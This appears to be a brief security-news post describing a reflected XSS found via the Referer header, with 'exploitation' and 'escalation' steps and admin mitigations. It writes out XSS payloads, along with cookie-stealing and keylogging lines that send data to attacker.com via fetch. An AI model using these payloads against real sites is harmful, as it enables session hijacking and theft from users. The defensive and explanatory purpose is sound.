Listen to this Post
During a routine test, a Security Researcher discovered a critical Reflected XSS vulnerability by injecting a JavaScript payload into the `Referer` header:
onmouseover=alert(1)
The payload was reflected twice in the HTML response without sanitization, revealing a server blindly trusting client-supplied headers.
You Should Know:
1. Exploitation Steps
To weaponize this vulnerability:
- Test Header Injection:
curl -H "Referer: <script>alert(1)</script>" http://target.com/image/9.jpg
- Check for Reflection:
grep -i "script" response.html
- Bypass CSP (If Present):
<img src=x onerror=alert(1)>
2. Escalation Techniques
- DOM-Based XSS:
document.location.hash="<script>alert(1)</script>"
- Session Hijacking:
fetch('https://attacker.com/steal?cookie='+document.cookie) - Keylogging:
document.onkeypress = function(e) { fetch('https://attacker.com/log?key='+e.key) }
3. Mitigation Commands (For Admins)
- Apache Header Sanitization:
Header edit Referer "." "REDACTED"
- Nginx Sanitization:
proxy_set_header Referer "";
- Linux Log Monitoring:
tail -f /var/log/nginx/access.log | grep -i "script"
What Undercode Say
This vulnerability highlights the dangers of unfiltered HTTP headers. Attackers can chain exploits (CSP bypass, DOM manipulation, session theft) from a simple reflection. Always:
– Sanitize headers
– Enforce strict CSP policies
– Monitor error pages
Prediction
Expect more XSS attacks via headers as APIs and microservices grow. Automated scanners will soon flag header-based XSS as a common OWASP Top 10 entry.
Expected Output:
A weaponized XSS payload leading to full compromise if combined with weak CSP or DOM flaws.
fetch('https://attacker.com/steal', { method: 'POST', body: document.cookie })
Stay paranoid. Headers are attack vectors.
URLs for further reading:
References:
Reported By: Praveen Kumar00007 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
